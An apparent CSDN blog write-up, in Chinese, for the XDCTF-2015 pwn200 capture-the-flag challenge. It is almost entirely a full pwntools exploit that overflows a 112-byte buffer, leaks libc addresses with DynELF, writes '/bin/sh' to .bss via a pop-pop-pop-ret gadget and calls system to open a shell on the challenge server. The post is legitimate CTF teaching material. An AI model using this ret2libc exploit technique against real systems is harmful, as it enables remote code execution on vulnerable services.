(攻防世界)(XDCTF-2015)pwn200

这一题和JarvisOJ中的level4简直不要太像了,只是改变了几个地址,改变了溢出点。

既然前面已经讲解了,这里就不再重复讲了,详细解法请看链接:https://blog.csdn.net/qq_43986365/article/details/95081996
但是这次使用pop_pop_pop_ret将两个合并为一个。

完整exp如下:

#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',59936)
elf=ELF('./pwn200')
write_plt=elf.symbols['write']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x080483d0
func_addr=0x08048484
ppp_addr=0x080485cd
def leak(address):
        payload1='a'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
        p.send(payload1)
        data=p.recv(4)
        return data
print p.recvline()
d=DynELF(leak,elf=ELF('./pwn200'))
sys_addr=d.lookup('__libc_system','libc')
payload2='a'*112+p32(start_addr)
p.send(payload2)
print p.recv()
bss_addr=elf.bss()
print "bss_addr="+hex(bss_addr)
payload3='a'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(func_addr)+p32(bss_addr)
p.send(payload3)
p.send('/bin/sh')
p.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值